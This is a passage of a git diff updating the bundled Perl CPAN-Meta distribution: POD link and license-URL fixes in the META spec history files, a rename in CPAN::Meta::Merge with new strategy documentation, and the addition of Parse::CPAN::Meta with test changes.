@@ -559,23 +565,23 @@ together using commas. The specification C<E<gt>= 1.2, != 1.5, E<lt>
=head1 SEE ALSO
-CPAN, L<http://www.cpan.org/>
+L<CPAN|http://www.cpan.org/>
-CPAN.pm, L<http://search.cpan.org/dist/CPAN/>
+L<CPAN.pm|CPAN>
-CPANPLUS, L<http://search.cpan.org/dist/CPANPLUS/>
+L<CPANPLUS>
-Data::Dumper, L<http://search.cpan.org/dist/Data-Dumper/>
+L<Data::Dumper>
-ExtUtils::MakeMaker, L<http://search.cpan.org/dist/ExtUtils-MakeMaker/>
+L<ExtUtils::MakeMaker>
-Module::Build, L<http://search.cpan.org/dist/Module-Build/>
+L<Module::Build>
-Module::Install, L<http://search.cpan.org/dist/Module-Install/>
+L<Module::Install>
-XML, L<http://www.w3.org/XML/>
+L<XML|http://www.w3.org/XML/>
-YAML, L<http://www.yaml.org/>
+L<YAML|http://www.yaml.org/>
=head1 HISTORY
@@ -597,7 +603,7 @@ Created version 1.0 of this document.
=item *
-Added the L</"dynamic_config"> field, which was missing from the initial
+Added the L</dynamic_config> field, which was missing from the initial
version.
=back
@@ -617,12 +623,12 @@ L<http://nntp.x.perl.org/group/> site.
=item *
-Added and deprecated the L<"private"> field.
+Added and deprecated the L</private> field.
=item *
-Added L<"abstract">, L<"configure">, L<"requires_packages">,
-L<"requires_os">, L<"excludes_os">, and L<"no_index"> fields.
+Added L</abstract>, C<configure>, C<requires_packages>,
+C<requires_os>, C<excludes_os>, and L</no_index> fields.
=item *
@@ -636,15 +642,15 @@ Bumped version.
=item *
-Added L<"generation">, L<"authored_by"> fields.
+Added C<generation>, C<authored_by> fields.
=item *
-Add alternative proposal to the L<"recommends"> field.
+Add alternative proposal to the L</recommends> field.
=item *
-Add proposal for a L<"requires_build_tools"> field.
+Add proposal for a C<requires_build_tools> field.
=back
@@ -658,7 +664,7 @@ Added link to latest version of this specification on CPAN.
=item *
-Added section L<"VERSION SPECIFICATIONS">.
+Added section L</"VERSION SPECIFICATIONS">.
=item *
@@ -666,7 +672,7 @@ Chang name from Module::Build::META-spec to CPAN::META::Specification.
=item *
-Add proposal for L<"auto_regenerate"> field.
+Add proposal for C<auto_regenerate> field.
=back
@@ -676,15 +682,15 @@ Add proposal for L<"auto_regenerate"> field.
=item *
-Add L<"index"> field as a compliment to L<"no_index">
+Add C<index> field as a compliment to L</no_index>
=item *
-Add L<"keywords"> field as a means to aid searching distributions.
+Add L</keywords> field as a means to aid searching distributions.
=item *
-Add L<"TERMINOLOGY"> section to explain certain terms that may be
+Add L</TERMINOLOGY> section to explain certain terms that may be
ambiguous.
=back
@@ -702,7 +708,7 @@ more like records of brainstorming.
=item *
-Changed C<authored_by> to C<author>, since that's always been what
+Changed C<authored_by> to L</author>, since that's always been what
it's actually called in actual F<META.yml> files.
=item *
@@ -712,12 +718,12 @@ operators.
=item *
-Noted that the C<distribution_type> field is basically meaningless,
+Noted that the L</distribution_type> field is basically meaningless,
and shouldn't really be used.
=item *
-Clarified C<dynamic_config> a bit.
+Clarified L</dynamic_config> a bit.
=back
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_4.pod b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_4.pod
index 471296ce291..932f1ed94b3 100644
--- a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_4.pod
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/History/Meta_1_4.pod
@@ -21,7 +21,12 @@ Various spelling corrections
=item *
Include list of valid licenses from L<Module::Build> 0.2807 rather than
-linking to the module.
+linking to the module, with minor updates to text and links to reflect
+versions at the time of publication.
+
+=item *
+
+Fixed some dead links to point to active resources.
=back
@@ -84,35 +89,6 @@ and the latest development version (which may include things that
won't make it into the stable version) can always be found at
L<http://module-build.sourceforge.net/META-spec-blead.html>.>
-=begin MAINTAINER
-
-The master source for the META spec is META-spec.pod. META-spec.html
-is built (manually) from META-spec.pod whenever there are changes, and
-the two files should generally be checked in together. Ideally it
-would happen through a trigger or something, but it doesn't.
-
-Ken has a cron job that copies the latest bleeding-edge version of the
-spec (HTML version) to Sourceforge whenever his laptop is turned on:
-
- 21 * * * * svn cat http://svn.perl.org/modules/Module-Build/trunk/website/META-spec.html \
- | ssh kwilliams@shell.sourceforge.net \
- 'cat > /home/groups/m/mo/module-build/htdocs/META-spec-blead.html'
-
-The numbered revisions of the spec at
-L<"http://module-build.sourceforge.net/"> are captures of the spec at
-opportune moments. A couple of symlinks also exist for convenience:
-
- -rw-r--r-- 1 kwilliams 24585 Oct 10 17:21 META-spec-blead.html
- lrwxrwxrwx 1 kwilliams 19 Jan 19 2007 META-spec-current.html -> META-spec-v1.3.html
- lrwxrwxrwx 1 kwilliams 22 Jan 19 2007 META-spec.html -> META-spec-current.html
- -rw-r--r-- 1 kwilliams 5830 Jul 25 2005 META-spec-v1.0.html
- -rw-r--r-- 1 kwilliams 7847 Jul 25 2005 META-spec-v1.1.html
- -rw-r--r-- 1 kwilliams 22635 Aug 23 2005 META-spec-v1.2.html
- -rw-r--r-- 1 kwilliams 24086 Nov 4 2006 META-spec-v1.3.html
-
-=end MAINTAINER
-
-
=head1 FORMAT
F<META.yml> files are written in the YAML format (see
@@ -123,17 +99,17 @@ XML or Data::Dumper:
=over 4
-=item Module::Build design plans
+=item *
-L<http://nntp.x.perl.org/group/perl.makemaker/406>
+L<Module::Build design plans|http://www.nntp.perl.org/group/perl.makemaker/2002/04/msg407.html>
-=item Not keen on YAML
+=item *
-L<http://nntp.x.perl.org/group/perl.module-authors/1353>
+L<Not keen on YAML|http://www.nntp.perl.org/group/perl.module-authors/2003/11/msg1353.html>
-=item META Concerns
+=item *
-L<http://nntp.x.perl.org/group/perl.module-authors/1385>
+L<META Concerns|http://www.nntp.perl.org/group/perl.module-authors/2003/11/msg1385.html>
=back
@@ -235,39 +211,40 @@ Must be one of the following licenses:
=item apache
-The distribution is licensed under the Apache Software License
-(L<http://opensource.org/licenses/apachepl.php>).
+The distribution is licensed under the Apache Software License version 1.1
+(L<http://opensource.org/licenses/Apache-1.1>).
=item artistic
-The distribution is licensed under the Artistic License, as specified by the
-Artistic file in the standard perl distribution.
+The distribution is licensed under the Artistic License version 1, as specified
+by the Artistic file in the standard perl distribution
+(L<http://opensource.org/licenses/Artistic-Perl-1.0>).
=item bsd
-The distribution is licensed under the BSD License
-(L<http://www.opensource.org/licenses/bsd-license.php>).
+The distribution is licensed under the BSD 3-Clause License
+(L<http://opensource.org/licenses/BSD-3-Clause>).
=item gpl
-The distribution is licensed under the terms of the Gnu General Public License
-(L<http://www.opensource.org/licenses/gpl-license.php>).
+The distribution is distributed under the terms of the GNU General Public
+License version 2 (L<http://opensource.org/licenses/GPL-2.0>).
=item lgpl
-The distribution is licensed under the terms of the Gnu Lesser General Public
-License (L<http://www.opensource.org/licenses/lgpl-license.php>).
+The distribution is distributed under the terms of the GNU Lesser General
+Public License version 2 (L<http://opensource.org/licenses/LGPL-2.1>).
=item mit
The distribution is licensed under the MIT License
-(L<http://opensource.org/licenses/mit-license.php>).
+(L<http://opensource.org/licenses/MIT>).
=item mozilla
The distribution is licensed under the Mozilla Public License.
-(L<http://opensource.org/licenses/mozilla1.0.php> or
-L<http://opensource.org/licenses/mozilla1.1.php>)
+(L<http://opensource.org/licenses/MPL-1.0> or
+L<http://opensource.org/licenses/MPL-1.1>)
=item open_source
@@ -355,8 +332,8 @@ Example:
I<(Spec 1.1) [optional] {map} A YAML mapping of names for optional features
which are made available when its requirements are met. For each
-feature a description is provided along with any of L<"requires">,
-L<"build_requires">, and L<"conflicts">, which have the same meaning in
+feature a description is provided along with any of L</requires>,
+L</build_requires>, and L</conflicts>, which have the same meaning in
this subcontext as described elsewhere in this document.>
=head2 build_requires
@@ -371,7 +348,7 @@ Example:
prerequisites required for building and/or testing of this
distribution. The keys are the names of the prerequisites (module
names or 'perl'), and the values are version specifications as
-described in L<VERSION SPECIFICATIONS>. These dependencies are not
+described in L</"VERSION SPECIFICATIONS">. These dependencies are not
required after the distribution is installed.
=head2 configure_requires
@@ -385,9 +362,9 @@ Example:
(Spec 1.4) [optional] {map} A YAML mapping indicating the Perl prerequisites
required before configuring this distribution. The keys are the
-names of the prerequisites (module names or 'perl'), and the values are version specifications as described
-in L<VERSION SPECIFICATIONS>. These dependencies are not required
-after the distribution is installed.
+names of the prerequisites (module names or 'perl'), and the values are version
+specifications as described in L</"VERSION SPECIFICATIONS">. These
+dependencies are not required after the distribution is installed.
=head2 conflicts
@@ -401,7 +378,7 @@ Example:
cannot be installed while this distribution is installed. This is a
pretty uncommon situation. The keys for C<conflicts> are the item
names (module names or 'perl'), and the values are version
-specifications as described in L<VERSION SPECIFICATIONS>.
+specifications as described in L</"VERSION SPECIFICATIONS">.
=head2 dynamic_config
@@ -428,7 +405,7 @@ If this field is omitted, it defaults to 1 (true).
=head2 private
I<(Deprecated)> (Spec 1.0) [optional] {map} This field has been renamed to
-L</"no_index">. See below.
+L</no_index>. See below.
=head2 provides
@@ -450,7 +427,7 @@ cases, is) used by distribution and automation mechanisms like PAUSE,
CPAN, and search.cpan.org to build indexes saying in which
distribution various packages can be found.
-When using tools like C<Module::Build> that can generate the
+When using tools like L<Module::Build> that can generate the
C<provides> mapping for your distribution automatically, make sure you
examine what it generates to make sure it makes sense - indexers will
usually trust the C<provides> field if it's present, rather than
@@ -480,7 +457,7 @@ directories, packages, and namespaces that are private
and indexing tools. This is useful when no C<provides> field is
present.
-For example, C<search.cpan.org> excludes items listed in C<no_index>
+For example, L<http://search.cpan.org/> excludes items listed in C<no_index>
when searching for POD, meaning files in these directories will not
converted to HTML and made public - which is useful if you have
example or test PODs that you don't want the search engine to go
@@ -577,8 +554,8 @@ tool. RWS]
=head1 VERSION SPECIFICATIONS
-Some fields require a version specification (ex. L<"requires">,
-L<"recommends">, L<"build_requires">, etc.) to indicate the particular
+Some fields require a version specification (ex. L</requires>,
+L</recommends>, L</build_requires>, etc.) to indicate the particular
versionZ<>(s) of some other module that may be required as a
prerequisite. This section details the version specification formats
that are currently supported.
@@ -602,23 +579,23 @@ together using commas. The specification C<E<gt>= 1.2, != 1.5, E<lt>
=head1 SEE ALSO
-CPAN, L<http://www.cpan.org/>
+L<CPAN|http://www.cpan.org/>
-CPAN.pm, L<http://search.cpan.org/dist/CPAN/>
+L<CPAN.pm|CPAN>
-CPANPLUS, L<http://search.cpan.org/dist/CPANPLUS/>
+L<CPANPLUS>
-Data::Dumper, L<http://search.cpan.org/dist/Data-Dumper/>
+L<Data::Dumper>
-ExtUtils::MakeMaker, L<http://search.cpan.org/dist/ExtUtils-MakeMaker/>
+L<ExtUtils::MakeMaker>
-Module::Build, L<http://search.cpan.org/dist/Module-Build/>
+L<Module::Build>
-Module::Install, L<http://search.cpan.org/dist/Module-Install/>
+L<Module::Install>
-XML, L<http://www.w3.org/XML/>
+L<XML|http://www.w3.org/XML/>
-YAML, L<http://www.yaml.org/>
+L<YAML|http://www.yaml.org/>
=head1 HISTORY
@@ -640,7 +617,7 @@ Created version 1.0 of this document.
=item *
-Added the L</"dynamic_config"> field, which was missing from the initial
+Added the L</dynamic_config> field, which was missing from the initial
version.
=back
@@ -660,12 +637,12 @@ L<http://nntp.x.perl.org/group/> site.
=item *
-Added and deprecated the L<"private"> field.
+Added and deprecated the L</private> field.
=item *
-Added L<"abstract">, L<"configure">, L<"requires_packages">,
-L<"requires_os">, L<"excludes_os">, and L<"no_index"> fields.
+Added L</abstract>, C<configure>, C<requires_packages>,
+C<requires_os>, C<excludes_os>, and L</no_index> fields.
=item *
@@ -679,15 +656,15 @@ Bumped version.
=item *
-Added L<"generation">, L<"authored_by"> fields.
+Added C<generation>, C<authored_by> fields.
=item *
-Add alternative proposal to the L<"recommends"> field.
+Add alternative proposal to the L</recommends> field.
=item *
-Add proposal for a L<"requires_build_tools"> field.
+Add proposal for a C<requires_build_tools> field.
=back
@@ -701,7 +678,7 @@ Added link to latest version of this specification on CPAN.
=item *
-Added section L<"VERSION SPECIFICATIONS">.
+Added section L</"VERSION SPECIFICATIONS">.
=item *
@@ -709,7 +686,7 @@ Chang name from Module::Build::META-spec to CPAN::META::Specification.
=item *
-Add proposal for L<"auto_regenerate"> field.
+Add proposal for C<auto_regenerate> field.
=back
@@ -719,15 +696,15 @@ Add proposal for L<"auto_regenerate"> field.
=item *
-Add L<"index"> field as a compliment to L<"no_index">
+Add C<index> field as a compliment to L</no_index>
=item *
-Add L<"keywords"> field as a means to aid searching distributions.
+Add L</keywords> field as a means to aid searching distributions.
=item *
-Add L<"TERMINOLOGY"> section to explain certain terms that may be
+Add L</TERMINOLOGY> section to explain certain terms that may be
ambiguous.
=back
@@ -745,7 +722,7 @@ more like records of brainstorming.
=item *
-Changed C<authored_by> to C<author>, since that's always been what
+Changed C<authored_by> to L</author>, since that's always been what
it's actually called in actual F<META.yml> files.
=item *
@@ -755,12 +732,12 @@ operators.
=item *
-Noted that the C<distribution_type> field is basically meaningless,
+Noted that the L</distribution_type> field is basically meaningless,
and shouldn't really be used.
=item *
-Clarified C<dynamic_config> a bit.
+Clarified L</dynamic_config> a bit.
=back
@@ -781,7 +758,7 @@ module that doesn't actually exist.
=item *
-Added C<configure_requires>.
+Added L</configure_requires>.
=back
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/Merge.pm b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/Merge.pm
index 05a18ea9732..3604eae4022 100644
--- a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/Merge.pm
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/CPAN/Meta/Merge.pm
@@ -3,7 +3,7 @@ use warnings;
package CPAN::Meta::Merge;
-our $VERSION = '2.150005';
+our $VERSION = '2.150010';
use Carp qw/croak/;
use Scalar::Util qw/blessed/;
@@ -73,7 +73,7 @@ sub _uniq_map {
return $left;
}
-sub _improvize {
+sub _improvise {
my ($left, $right, $path) = @_;
my ($name) = reverse @{$path};
if ($name =~ /^x_/) {
@@ -154,9 +154,9 @@ my %default = (
homepage => \&_identical,
bugtracker => \&_uniq_map,
repository => \&_uniq_map,
- ':default' => \&_improvize,
+ ':default' => \&_improvise,
},
- ':default' => \&_improvize,
+ ':default' => \&_improvise,
);
sub new {
@@ -182,7 +182,8 @@ my %coderef_for = (
set_addition => \&_set_addition,
uniq_map => \&_uniq_map,
identical => \&_identical,
- improvize => \&_improvize,
+ improvise => \&_improvise,
+ improvize => \&_improvise, # [sic] for backwards compatibility
);
sub _coerce_mapping {
@@ -250,7 +251,7 @@ CPAN::Meta::Merge - Merging CPAN Meta fragments
=head1 VERSION
-version 2.150005
+version 2.150010
=head1 SYNOPSIS
@@ -268,11 +269,60 @@ argument, C<version>, declaring the version of the meta-spec that must be
used for the merge. It can optionally take an C<extra_mappings> argument
that allows one to add additional merging functions for specific elements.
+The C<extra_mappings> arguments takes a hash ref with the same type of
+structure as described in L<CPAN::Meta::Spec>, except with its values as
+one of the L<defined merge strategies|/"MERGE STRATEGIES"> or a code ref
+to a merging function.
+
+ my $merger = CPAN::Meta::Merge->new(
+ default_version => '2',
+ extra_mappings => {
+ 'optional_features' => \&custom_merge_function,
+ 'x_custom' => 'set_addition',
+ 'x_meta_meta' => {
+ name => 'identical',
+ tags => 'set_addition',
+ }
+ }
+ );
+
=head2 merge(@fragments)
Merge all C<@fragments> together. It will accept both CPAN::Meta objects and
(possibly incomplete) hashrefs of metadata.
+=head1 MERGE STRATEGIES
+
+C<merge> uses various strategies to combine different elements of the CPAN::Meta objects. The following strategies can be used with the extra_mappings argument of C<new>:
+
+=over
+
+=item identical
+
+The elements must be identical
+
+=item set_addition
+
+The union of two array refs
+
+ [ a, b ] U [ a, c] = [ a, b, c ]
+
+=item uniq_map
+
+Key value pairs from the right hash are merged to the left hash. Key
+collisions are only allowed if their values are the same. This merge
+function will recurse into nested hash refs following the same merge
+rules.
+
+=item improvise
+
+This merge strategy will try to pick the appropriate predefined strategy
+based on what element type. Array refs will try to use the
+C<set_addition> strategy, Hash refs will try to use the C<uniq_map>
+strategy, and everything else will try the C<identical> strategy.
+
+=back
+
=head1 AUTHORS
=over 4
@@ -285,11 +335,15 @@ David Golden <dagolden@cpan.org>
Ricardo Signes <rjbs@cpan.org>
+=item *
+
+Adam Kennedy <adamk@cpan.org>
+
=back
=head1 COPYRIGHT AND LICENSE
-This software is copyright (c) 2010 by David Golden and Ricardo Signes.
+This software is copyright (c) 2010 by David Golden, Ricardo Signes, Adam Kennedy and Contributors.
This is free software; you can redistribute it and/or modify it under
the same terms as the Perl 5 programming language system itself.
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/Parse/CPAN/Meta.pm b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/Parse/CPAN/Meta.pm
new file mode 100644
index 00000000000..688bcfe6966
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/lib/Parse/CPAN/Meta.pm
@@ -0,0 +1,370 @@
+use 5.008001;
+use strict;
+use warnings;
+package Parse::CPAN::Meta;
+# ABSTRACT: Parse META.yml and META.json CPAN metadata files
+
+our $VERSION = '2.150010';
+
+use Exporter;
+use Carp 'croak';
+
+our @ISA = qw/Exporter/;
+our @EXPORT_OK = qw/Load LoadFile/;
+
+sub load_file {
+ my ($class, $filename) = @_;
+
+ my $meta = _slurp($filename);
+
+ if ($filename =~ /\.ya?ml$/) {
+ return $class->load_yaml_string($meta);
+ }
+ elsif ($filename =~ /\.json$/) {
+ return $class->load_json_string($meta);
+ }
+ else {
+ $class->load_string($meta); # try to detect yaml/json
+ }
+}
+
+sub load_string {
+ my ($class, $string) = @_;
+ if ( $string =~ /^---/ ) { # looks like YAML
+ return $class->load_yaml_string($string);
+ }
+ elsif ( $string =~ /^\s*\{/ ) { # looks like JSON
+ return $class->load_json_string($string);
+ }
+ else { # maybe doc-marker-free YAML
+ return $class->load_yaml_string($string);
+ }
+}
+
+sub load_yaml_string {
+ my ($class, $string) = @_;
+ my $backend = $class->yaml_backend();
+ my $data = eval { no strict 'refs'; &{"$backend\::Load"}($string) };
+ croak $@ if $@;
+ return $data || {}; # in case document was valid but empty
+}
+
+sub load_json_string {
+ my ($class, $string) = @_;
+ require Encode;
+ # load_json_string takes characters, decode_json expects bytes
+ my $encoded = Encode::encode('UTF-8', $string, Encode::PERLQQ());
+ my $data = eval { $class->json_decoder()->can('decode_json')->($encoded) };
+ croak $@ if $@;
+ return $data || {};
+}
+
+sub yaml_backend {
+ if ($ENV{PERL_CORE} or not defined $ENV{PERL_YAML_BACKEND} ) {
+ _can_load( 'CPAN::Meta::YAML', 0.011 )
+ or croak "CPAN::Meta::YAML 0.011 is not available\n";
+ return "CPAN::Meta::YAML";
+ }
+ else {
+ my $backend = $ENV{PERL_YAML_BACKEND};
+ _can_load( $backend )
+ or croak "Could not load PERL_YAML_BACKEND '$backend'\n";
+ $backend->can("Load")
+ or croak "PERL_YAML_BACKEND '$backend' does not implement Load()\n";
+ return $backend;
+ }
+}
+
+sub json_decoder {
+ if ($ENV{PERL_CORE}) {
+ _can_load( 'JSON::PP' => 2.27300 )
+ or croak "JSON::PP 2.27300 is not available\n";
+ return 'JSON::PP';
+ }
+ if (my $decoder = $ENV{CPAN_META_JSON_DECODER}) {
+ _can_load( $decoder )
+ or croak "Could not load CPAN_META_JSON_DECODER '$decoder'\n";
+ $decoder->can('decode_json')
+ or croak "No decode_json sub provided by CPAN_META_JSON_DECODER '$decoder'\n";
+ return $decoder;
+ }
+ return $_[0]->json_backend;
+}
+
+sub json_backend {
+ if ($ENV{PERL_CORE}) {
+ _can_load( 'JSON::PP' => 2.27300 )
+ or croak "JSON::PP 2.27300 is not available\n";
+ return 'JSON::PP';
+ }
+ if (my $backend = $ENV{CPAN_META_JSON_BACKEND}) {
+ _can_load( $backend )
+ or croak "Could not load CPAN_META_JSON_BACKEND '$backend'\n";
+ $backend->can('new')
+ or croak "No constructor provided by CPAN_META_JSON_BACKEND '$backend'\n";
+ return $backend;
+ }
+ if (! $ENV{PERL_JSON_BACKEND} or $ENV{PERL_JSON_BACKEND} eq 'JSON::PP') {
+ _can_load( 'JSON::PP' => 2.27300 )
+ or croak "JSON::PP 2.27300 is not available\n";
+ return 'JSON::PP';
+ }
+ else {
+ _can_load( 'JSON' => 2.5 )
+ or croak "JSON 2.5 is required for " .
+ "\$ENV{PERL_JSON_BACKEND} = '$ENV{PERL_JSON_BACKEND}'\n";
+ return "JSON";
+ }
+}
+
+sub _slurp {
+ require Encode;
+ open my $fh, "<:raw", "$_[0]" ## no critic
+ or die "can't open $_[0] for reading: $!";
+ my $content = do { local $/; <$fh> };
+ $content = Encode::decode('UTF-8', $content, Encode::PERLQQ());
+ return $content;
+}
+
+sub _can_load {
+ my ($module, $version) = @_;
+ (my $file = $module) =~ s{::}{/}g;
+ $file .= ".pm";
+ return 1 if $INC{$file};
+ return 0 if exists $INC{$file}; # prior load failed
+ eval { require $file; 1 }
+ or return 0;
+ if ( defined $version ) {
+ eval { $module->VERSION($version); 1 }
+ or return 0;
+ }
+ return 1;
+}
+
+# Kept for backwards compatibility only
+# Create an object from a file
+sub LoadFile ($) { ## no critic
+ return Load(_slurp(shift));
+}
+
+# Parse a document from a string.
+sub Load ($) { ## no critic
+ require CPAN::Meta::YAML;
+ my $object = eval { CPAN::Meta::YAML::Load(shift) };
+ croak $@ if $@;
+ return $object;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Parse::CPAN::Meta - Parse META.yml and META.json CPAN metadata files
+
+=head1 VERSION
+
+version 2.150010
+
+=head1 SYNOPSIS
+
+ #############################################
+ # In your file
+
+ ---
+ name: My-Distribution
+ version: 1.23
+ resources:
+ homepage: "http://example.com/dist/My-Distribution"
+
+
+ #############################################
+ # In your program
+
+ use Parse::CPAN::Meta;
+
+ my $distmeta = Parse::CPAN::Meta->load_file('META.yml');
+
+ # Reading properties
+ my $name = $distmeta->{name};
+ my $version = $distmeta->{version};
+ my $homepage = $distmeta->{resources}{homepage};
+
+=head1 DESCRIPTION
+
+B<Parse::CPAN::Meta> is a parser for F<META.json> and F<META.yml> files, using
+L<JSON::PP> and/or L<CPAN::Meta::YAML>.
+
+B<Parse::CPAN::Meta> provides three methods: C<load_file>, C<load_json_string>,
+and C<load_yaml_string>. These will read and deserialize CPAN metafiles, and
+are described below in detail.
+
+B<Parse::CPAN::Meta> provides a legacy API of only two functions,
+based on the YAML functions of the same name. Wherever possible,
+identical calling semantics are used. These may only be used with YAML sources.
+
+All error reporting is done with exceptions (die'ing).
+
+Note that META files are expected to be in UTF-8 encoding, only. When
+converted string data, it must first be decoded from UTF-8.
+
+=begin Pod::Coverage
+
+
+
+
+=end Pod::Coverage
+
+=head1 METHODS
+
+=head2 load_file
+
+ my $metadata_structure = Parse::CPAN::Meta->load_file('META.json');
+
+ my $metadata_structure = Parse::CPAN::Meta->load_file('META.yml');
+
+This method will read the named file and deserialize it to a data structure,
+determining whether it should be JSON or YAML based on the filename.
+The file will be read using the ":utf8" IO layer.
+
+=head2 load_yaml_string
+
+ my $metadata_structure = Parse::CPAN::Meta->load_yaml_string($yaml_string);
+
+This method deserializes the given string of YAML and returns the first
+document in it. (CPAN metadata files should always have only one document.)
+If the source was UTF-8 encoded, the string must be decoded before calling
+C<load_yaml_string>.
+
+=head2 load_json_string
+
+ my $metadata_structure = Parse::CPAN::Meta->load_json_string($json_string);
+
+This method deserializes the given string of JSON and the result.
+If the source was UTF-8 encoded, the string must be decoded before calling
+C<load_json_string>.
+
+=head2 load_string
+
+ my $metadata_structure = Parse::CPAN::Meta->load_string($some_string);
+
+If you don't know whether a string contains YAML or JSON data, this method
+will use some heuristics and guess. If it can't tell, it assumes YAML.
+
+=head2 yaml_backend
+
+ my $backend = Parse::CPAN::Meta->yaml_backend;
+
+Returns the module name of the YAML serializer. See L</ENVIRONMENT>
+for details.
+
+=head2 json_backend
+
+ my $backend = Parse::CPAN::Meta->json_backend;
+
+Returns the module name of the JSON serializer. If C<CPAN_META_JSON_BACKEND>
+is set, this will be whatever that's set to. If not, this will either
+be L<JSON::PP> or L<JSON>. If C<PERL_JSON_BACKEND> is set,
+this will return L<JSON> as further delegation is handled by
+the L<JSON> module. See L</ENVIRONMENT> for details.
+
+=head2 json_decoder
+
+ my $decoder = Parse::CPAN::Meta->json_decoder;
+
+Returns the module name of the JSON decoder. Unlike L</json_backend>, this
+is not necessarily a full L<JSON>-style module, but only something that will
+provide a C<decode_json> subroutine. If C<CPAN_META_JSON_DECODER> is set,
+this will be whatever that's set to. If not, this will be whatever has
+been selected as L</json_backend>. See L</ENVIRONMENT> for more notes.
+
+=head1 FUNCTIONS
+
+For maintenance clarity, no functions are exported by default. These functions
+are available for backwards compatibility only and are best avoided in favor of
+C<load_file>.
+
+=head2 Load
+
+ my @yaml = Parse::CPAN::Meta::Load( $string );
+
+Parses a string containing a valid YAML stream into a list of Perl data
+structures.
+
+=head2 LoadFile
+
+ my @yaml = Parse::CPAN::Meta::LoadFile( 'META.yml' );
+
+Reads the YAML stream from a file instead of a string.
+
+=head1 ENVIRONMENT
+
+=head2 CPAN_META_JSON_DECODER
+
+By default, L<JSON::PP> will be used for deserializing JSON data. If the
+C<CPAN_META_JSON_DECODER> environment variable exists, this is expected to
+be the name of a loadable module that provides a C<decode_json> subroutine,
+which will then be used for deserialization. Relying only on the existence
+of said subroutine allows for maximum compatibility, since this API is
+provided by all of L<JSON::PP>, L<JSON::XS>, L<Cpanel::JSON::XS>,
+L<JSON::MaybeXS>, L<JSON::Tiny>, and L<Mojo::JSON>.
+
+=head2 CPAN_META_JSON_BACKEND
+
+By default, L<JSON::PP> will be used for deserializing JSON data. If the
+C<CPAN_META_JSON_BACKEND> environment variable exists, this is expected to
+be the name of a loadable module that provides the L<JSON> API, since
+downstream code expects to be able to call C<new> on this class. As such,
+while L<JSON::PP>, L<JSON::XS>, L<Cpanel::JSON::XS> and L<JSON::MaybeXS> will
+work for this, to use L<Mojo::JSON> or L<JSON::Tiny> for decoding requires
+setting L</CPAN_META_JSON_DECODER>.
+
+=head2 PERL_JSON_BACKEND
+
+If the C<CPAN_META_JSON_BACKEND> environment variable does not exist, and if
+C<PERL_JSON_BACKEND> environment variable exists, is true and is not
+"JSON::PP", then the L<JSON> module (version 2.5 or greater) will be loaded and
+used to interpret C<PERL_JSON_BACKEND>. If L<JSON> is not installed or is too
+old, an exception will be thrown. Note that at the time of writing, the only
+useful values are 1, which will tell L<JSON> to guess, or L<JSON::XS> - if
+you want to use a newer JSON module, see L</CPAN_META_JSON_BACKEND>.
+
+=head2 PERL_YAML_BACKEND
+
+By default, L<CPAN::Meta::YAML> will be used for deserializing YAML data. If
+the C<PERL_YAML_BACKEND> environment variable is defined, then it is interpreted
+as a module to use for deserialization. The given module must be installed,
+must load correctly and must implement the C<Load()> function or an exception
+will be thrown.
+
+=head1 AUTHORS
+
+=over 4
+
+=item *
+
+David Golden <dagolden@cpan.org>
+
+=item *
+
+Ricardo Signes <rjbs@cpan.org>
+
+=item *
+
+Adam Kennedy <adamk@cpan.org>
+
+=back
+
+=head1 COPYRIGHT AND LICENSE
+
+This software is copyright (c) 2010 by David Golden, Ricardo Signes, Adam Kennedy and Contributors.
+
+This is free software; you can redistribute it and/or modify it under
+the same terms as the Perl 5 programming language system itself.
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/README-data.txt b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/README-data.txt
new file mode 100644
index 00000000000..9c665e49dd4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/README-data.txt
@@ -0,0 +1,15 @@
+There are three test data directories:
+
+- 'data-test': These files are valid META files that test *specific*
+ conversions and are expected to have specific data in them during
+ testing. Do not put new test data here unless you are sure it meets all
+ requirements needed to pass.
+
+- 'data-valid': These files are valid META files. Some may be improved by
+ the Converter (particularly upconverting from ancient specs).
+
+- 'data-fixable': These files are bad META files that fail validation, but
+ can be fixed via the Converter.
+
+- 'data-fail': These files are bad META files that fail validation and
+ can't be fixed.
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/converter-fragments.t b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/converter-fragments.t
index a9b78def9ea..8f8697d5f1b 100644
--- a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/converter-fragments.t
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/converter-fragments.t
@@ -4,7 +4,10 @@ use Test::More 0.88;
use CPAN::Meta::Converter;
-delete $ENV{$_} for qw/PERL_JSON_BACKEND PERL_YAML_BACKEND/; # use defaults
+delete $ENV{PERL_YAML_BACKEND};
+delete $ENV{PERL_JSON_BACKEND};
+delete $ENV{CPAN_META_JSON_BACKEND};
+delete $ENV{CPAN_META_JSON_DECODER};
my $spec2 = {
version => '2',
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-test/x_deprecated-META.json b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-test/x_deprecated-META.json
new file mode 100644
index 00000000000..07a42e45072
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-test/x_deprecated-META.json
@@ -0,0 +1,148 @@
+{
+ "abstract" : "Author tests making sure correct line endings are used",
+ "author" : [
+ "Florian Ragwitz <rafl@debian.org>",
+ "Caleb Cushing <xenoterracide@gmail.com>",
+ "Karen Etheridge <ether@cpan.org>"
+ ],
+ "dynamic_config" : 0,
